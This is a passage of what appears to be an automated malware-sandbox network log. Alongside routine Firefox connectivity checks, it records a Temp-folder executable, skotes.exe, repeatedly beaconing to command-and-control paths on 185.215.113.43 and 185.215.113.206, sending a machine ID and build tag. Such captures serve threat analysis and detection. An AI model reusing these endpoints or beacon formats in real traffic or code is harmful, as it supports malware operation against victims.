Oct 31, 2024 20:54:39.885615110 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38920 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:54:49.888887882 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:54:59.973720074 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:55:09.988217115 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:55:20.007019997 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:55:30.020623922 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:55:40.040896893 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:56:00.889142036 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:56:01.015953064 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 39001 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:56:21.437985897 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:56:21.564532995 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 39022 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49973	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:22.087954998 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49981	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:22.273499966 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:22.877672911 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15837 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:22.898664951 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:23.044080019 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15837 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:23.548377037 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:23.678225994 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15838 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:27.911638021 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:28.042704105 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15842 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:38.075232029 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:53:38.613080978 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:38.739068985 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15853 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:45.728626966 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:45.855389118 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15860 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:51.329046965 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:51.455389977 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15866 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:51.519017935 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:51.645211935 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15866 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:51.934705019 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:52.061350107 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15866 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:52.319916010 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15866 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:52.321043015 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:52.448194981 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15867 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:59.257330894 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:59.385567904 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15874 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:54:09.400659084 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:54:19.418423891 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:54:20.741233110 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:54:20.867355108 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15895 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:54:30.874907017 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:54:39.889416933 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:54:40.017643929 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15914 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:54:50.026945114 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:55:00.074418068 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:55:10.088493109 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:55:20.105313063 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:55:30.120915890 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:55:40.135360956 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:56:01.018703938 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:56:01.145929098 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15996 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:56:21.572793007 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:56:21.699906111 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 16016 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49984	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:22.723005056 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:53:23.663149118 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49996	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:24.959218025 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 20:53:25.912668943 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:53:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 20:53:25.915302992 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGIJKJJKEBGHJKFIDGC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 45 34 46 32 46 42 33 39 30 36 30 33 38 31 30 32 38 39 34 34 38 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="hwid"3E4F2FB390603810289448------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="build"tale------FCGIJKJJKEBGHJKFIDGC--
Oct 31, 2024 20:53:26.218130112 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:53:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50002	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:25.289683104 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:53:26.227010965 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50016	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:27.740715981 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:53:28.682673931 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50030	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:30.608640909 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:53:31.557923079 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50046	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:33.083517075 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:53:34.041979074 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50062	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:35.670948982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:53:36.601706982 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50079	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:38.117831945 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:53:39.054254055 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50092	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:40.683867931 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:53:41.639415979 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50106	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
